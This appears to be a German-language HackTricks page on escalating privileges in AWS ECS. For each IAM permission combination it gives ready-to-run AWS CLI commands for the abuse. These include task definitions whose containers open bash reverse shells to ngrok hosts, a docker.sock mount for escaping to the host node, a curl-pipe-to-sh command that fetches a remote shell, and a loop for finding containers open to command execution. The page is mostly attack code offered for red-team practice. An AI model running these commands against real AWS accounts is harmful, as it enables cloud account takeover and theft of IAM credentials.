AWS - ECS Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

ECS

Weitere Informationen zu ECS unter:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition und ecs:RunTask in ECS missbraucht, kann eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt und ausführt.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potenzielle Auswirkungen: Direkter Privilege Escalation zu einer anderen ECS-Rolle.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS missbraucht, eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt und ausführt. In diesem Fall muss jedoch eine Containerinstanz vorhanden sein, um die bösartige Task-Definition auszuführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu einer beliebigen ECS-Rolle.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService oder ecs:CreateService in ECS missbraucht, eine neue Task-Definition erstellen, die einen bösartigen Container enthält, der die Metadaten-Anmeldeinformationen stiehlt und ihn ausführt, indem er einen neuen Dienst mit mindestens 1 laufenden Task erstellt.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potenzielle Auswirkungen: Direktes Privilegien-Eskalation zu jeder ECS-Rolle.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Dieses Szenario ist ähnlich wie die vorherigen, aber ohne die Berechtigung iam:PassRole. Dies ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne eine Rolle ist, könnten Sie einen privilegierten Container ausführen, um auf den Knoten zu entkommen und die EC2 IAM-Rolle und die anderen ECS-Containerrollen zu stehlen, die auf dem Knoten laufen. Sie könnten sogar andere Aufgaben zwingen, innerhalb der EC2-Instanz auszuführen, die Sie kompromittiert haben, um ihre Anmeldeinformationen zu stehlen (wie im Abschnitt Privilegien-Eskalation zum Knoten diskutiert).

Dieser Angriff ist nur möglich, wenn der ECS-Cluster EC2-Instanzen verwendet und nicht Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ein Angreifer mit den Berechtigungen ecs:ExecuteCommand, ecs:DescribeTasks kann Befehle innerhalb eines laufenden Containers ausführen und die daran angehängte IAM-Rolle exfiltrieren (Sie benötigen die Beschreibungsrechte, da es notwendig ist, aws ecs execute-command auszuführen). Um dies zu erreichen, muss die Containerinstanz jedoch den ExecuteCommand-Agent ausführen (was standardmäßig nicht der Fall ist).

Daher könnte der Angreifer versuchen:

  • Versuchen, einen Befehl in jedem laufenden Container auszuführen

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Wenn er ecs:RunTask hat, führen Sie eine Aufgabe mit aws ecs run-task --enable-execute-command [...] aus.

  • Wenn er ecs:StartTask hat, führen Sie eine Aufgabe mit aws ecs start-task --enable-execute-command [...] aus.

  • Wenn er ecs:CreateService hat, erstellen Sie einen Dienst mit aws ecs create-service --enable-execute-command [...].

  • Wenn er ecs:UpdateService hat, aktualisieren Sie einen Dienst mit aws ecs update-service --enable-execute-command [...].

Sie können Beispiele für diese Optionen in den vorherigen ECS-Privesc-Abschnitten finden.

Potenzielle Auswirkungen: Privesc zu einer anderen Rolle, die an Container angehängt ist.

ssm:StartSession

Überprüfen Sie auf der ssm-Privesc-Seite, wie Sie diese Berechtigung missbrauchen können, um zu ECS zu privesc:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Überprüfen Sie auf der ec2-Privesc-Seite, wie Sie diese Berechtigungen missbrauchen können, um zu ECS zu privesc:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, damit Aufgaben unter von Angreifern kontrollierten Maschinen ausgeführt werden??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Testen Sie dies

Ein Angreifer mit den Berechtigungen ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet und ecs:DescribeTaskSets kann einen bösartigen Task-Satz für einen vorhandenen ECS-Dienst erstellen und den primären Task-Satz aktualisieren. Dies ermöglicht es dem Angreifer, beliebigen Code innerhalb des Dienstes auszuführen.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potenzielle Auswirkungen: Ausführen beliebigen Codes im betroffenen Dienst, potenziell Beeinträchtigung seiner Funktionalität oder Exfiltration sensibler Daten.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated